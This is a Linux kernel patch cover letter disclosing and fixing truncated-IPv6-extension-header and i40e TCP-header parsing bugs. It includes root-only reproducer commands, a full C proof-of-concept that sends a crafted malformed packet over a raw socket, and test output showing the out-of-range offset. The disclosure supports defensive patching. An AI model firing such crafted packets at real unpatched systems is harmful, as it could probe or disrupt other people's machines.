[PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers
From: Ren Wei <hidden>
Date: 2026-09-26 18:23:23
Also in:
intel-wired-lan
From: Zixuan Chai <redacted>
Hi Linux kernel maintainers,
This series fixes two malformed-packet parsing issues found in the
networking stack. The first is in net/ipv6/exthdrs_core.c: a truncated
IPv6 extension header can make ipv6_skip_exthdr() return an offset past
the end of the skb. The second is in the i40e driver: i40e_atr() can
dereference a TCP header without first checking that the complete header
is present in the skb.
The direct IPv6 reproducer reaches the affected netfilter caller when
run as root and demonstrates the invalid offset. We did not establish
ordinary non-root reachability for this caller. The i40e and XFRM BEET
paths were compile-checked and reviewed, but were not runtime-tested
because the QEMU guests did not provide the required hardware or
offload device.
We've tested the IPv6 changes in clean and patched QEMU guests. Complete
extension headers and the tested IPv6 reassembly behavior remain intact.
We will provide detailed information about the bug in this email,
along with the complete PoC source.
---- details below ----
Bug details:
Patch 1 fixes the IPv6 parser. ipv6_skip_exthdr() derives the
extension-header length from hdrlen and advances the offset without
first checking that the complete header is present in the skb. A
truncated Destination Options header can therefore make it return an
offset past skb->len.
The fix rejects the header when its calculated length exceeds the
remaining skb data, before reading the next-header value or advancing
the offset. Consumers that use the returned offset now handle -1 as a
malformed packet: IPv6 fragment reassembly rejects a malformed first
fragment, ICMPv6 does not send an error reply, and XFRM BEET GSO aborts
before updating the transport offset. Complete extension headers retain
their existing behavior.
Patch 2 fixes a separate length check in i40e_atr(). ipv6_find_hdr()
can identify TCP as the next protocol without proving that a complete
struct tcphdr is present. The patch checks the remaining skb data before
i40e_atr() inspects TCP flags.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
ip link add veth0 type veth peer name veth1
ip link set dev veth0 address 52:36:9e:3a:43:2d
ip link set dev veth1 address 02:00:00:00:00:02
ip -6 addr add 2001:db8:5252::1/64 dev veth0
ip link set veth0 up
ip link set veth1 up
nft add table ip6 caller_probe
nft add chain ip6 caller_probe input \
'{ type filter hook input priority 0; policy accept; }'
nft add rule ip6 caller_probe input iifname veth0 \
counter reject with icmpv6 type port-unreachable
The commands above require root privileges and were run directly in an
x86 QEMU guest with 2 vCPUs and 2 GB of RAM.
For the packet-level observation, we temporarily added the following
debug print in nf_reject_v6_csum_ok(), immediately after its
ipv6_skip_exthdr() call in net/ipv6/netfilter/nf_reject_ipv6.c:
pr_info("skip caller=reject6_csum offset=%d skb_len=%u proto=%u\n",
thoff, skb->len, proto);
The temporary change was not included in the submitted patch. On each
kernel, we cleared the log, ran poc directly, and checked the result
with:
dmesg -C
./poc veth1 52:36:9e:3a:43:2d 2001:db8:5252::1
poc_rc=$?
echo "poc_rc=$poc_rc"
dmesg | grep 'skip caller=reject6_csum'
nft list chain ip6 caller_probe input
Additional validation:
The direct helper and consumer probe ran in matching clean and patched
QEMU guests as root. All 25 assertions passed in both guests. The key
Destination Options case declared a 2048-byte header while only 8 bytes
were available:
- clean: ipv6_skip_exthdr() returned offset 2048
- patched: ipv6_skip_exthdr() returned -1
The shared fragment consumer likewise returned false on the clean kernel
and true on the patched kernel for a truncated extension header. The
packet-level runner completed with expanded_poc=PASS on both kernels,
and the final fault scan found no BUG, Oops, KASAN report, panic, or
soft-lockup. These tests establish behavior in root QEMU guests only;
they do not prove non-root or user-namespace reachability.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ipv6.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static int parse_mac(const char *text, unsigned char *mac)
{
unsigned int values[ETH_ALEN];
if (sscanf(text, "%x:%x:%x:%x:%x:%x",
&values[0], &values[1], &values[2], &values[3],
&values[4], &values[5]) != ETH_ALEN)
return -1;
for (size_t index = 0; index < ETH_ALEN; index++) {
if (values[index] > 0xff)
return -1;
mac[index] = (unsigned char)values[index];
}
return 0;
}
static int get_interface_mac(const char *interface, unsigned char *mac)
{
struct ifreq request;
int socket_fd;
int result;
socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (socket_fd < 0)
return -1;
memset(&request, 0, sizeof(request));
strncpy(request.ifr_name, interface, IFNAMSIZ - 1);
result = ioctl(socket_fd, SIOCGIFHWADDR, &request);
if (result == 0)
memcpy(mac, request.ifr_hwaddr.sa_data, ETH_ALEN);
close(socket_fd);
return result;
}
static void print_usage(const char *program)
{
fprintf(stderr,
"usage: %s <interface> <destination-mac> <destination-ipv6>\n",
program);
}
int main(int argc, char **argv)
{
unsigned char source_mac[ETH_ALEN];
unsigned char destination_mac[ETH_ALEN];
unsigned char frame[ETH_HLEN + sizeof(struct ipv6hdr) + 8];
struct ipv6hdr *ip6;
struct sockaddr_ll address;
struct in6_addr destination;
const char *interface;
int socket_fd;
int interface_index;
ssize_t sent;
unsigned int hdrlen = 255;
if (argc != 4) {
print_usage(argv[0]);
return 2;
}
interface = argv[1];
if (parse_mac(argv[2], destination_mac) < 0) {
fprintf(stderr, "invalid destination MAC: %s\n", argv[2]);
return 2;
}
if (inet_pton(AF_INET6, argv[3], &destination) != 1) {
fprintf(stderr, "invalid destination IPv6 address: %s\n", argv[3]);
return 2;
}
if (get_interface_mac(interface, source_mac) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
interface_index = (int)if_nametoindex(interface);
if (interface_index == 0) {
perror("if_nametoindex");
return 1;
}
memset(frame, 0, sizeof(frame));
memcpy(frame, destination_mac, ETH_ALEN);
memcpy(frame + ETH_ALEN, source_mac, ETH_ALEN);
frame[12] = ETH_P_IPV6 >> 8;
frame[13] = ETH_P_IPV6 & 0xff;
ip6 = (struct ipv6hdr *)(frame + ETH_HLEN);
ip6->version = 6;
ip6->payload_len = htons(8);
ip6->nexthdr = IPPROTO_DSTOPTS;
ip6->hop_limit = 64;
inet_pton(AF_INET6, "2001:db8:5252::2", &ip6->saddr);
ip6->daddr = destination;
frame[ETH_HLEN + sizeof(struct ipv6hdr)] = IPPROTO_TCP;
frame[ETH_HLEN + sizeof(struct ipv6hdr) + 1] = hdrlen;
socket_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
if (socket_fd < 0) {
perror("AF_PACKET/SOCK_RAW");
return 1;
}
memset(&address, 0, sizeof(address));
address.sll_family = AF_PACKET;
address.sll_protocol = htons(ETH_P_IPV6);
address.sll_ifindex = interface_index;
address.sll_halen = ETH_ALEN;
memcpy(address.sll_addr, destination_mac, ETH_ALEN);
sent = sendto(socket_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&address, sizeof(address));
if (sent < 0) {
perror("sendto");
close(socket_fd);
printf("send_rc=-1 errno=%d\n", errno);
return 1;
}
printf("send_rc=%zd\n", sent);
close(socket_fd);
return sent == (ssize_t)sizeof(frame) ? 0 : 1;
}
------END poc.c--------
----BEGIN test output----
send_rc=62
poc_rc=0
[ 456.953986] skip caller=reject6_csum offset=2088 skb_len=48 proto=6
table ip6 caller_probe {
chain input {
type filter hook input priority filter; policy accept;
iifname "veth0" counter packets 1 bytes 48 reject
}
}
----END test output----
Zixuan Chai (2):
ipv6: reject truncated extension headers in ipv6_skip_exthdr()
i40e: validate TCP header before ATR access
---
drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++
include/net/ipv6_frag.h | 4 +++-
net/ipv4/esp4_offload.c | 8 ++++++--
net/ipv6/esp6_offload.c | 8 ++++++--
net/ipv6/exthdrs_core.c | 14 +++++++-------
net/ipv6/icmp.c | 2 +-
6 files changed, 26 insertions(+), 13 deletions(-)
--
2.34.1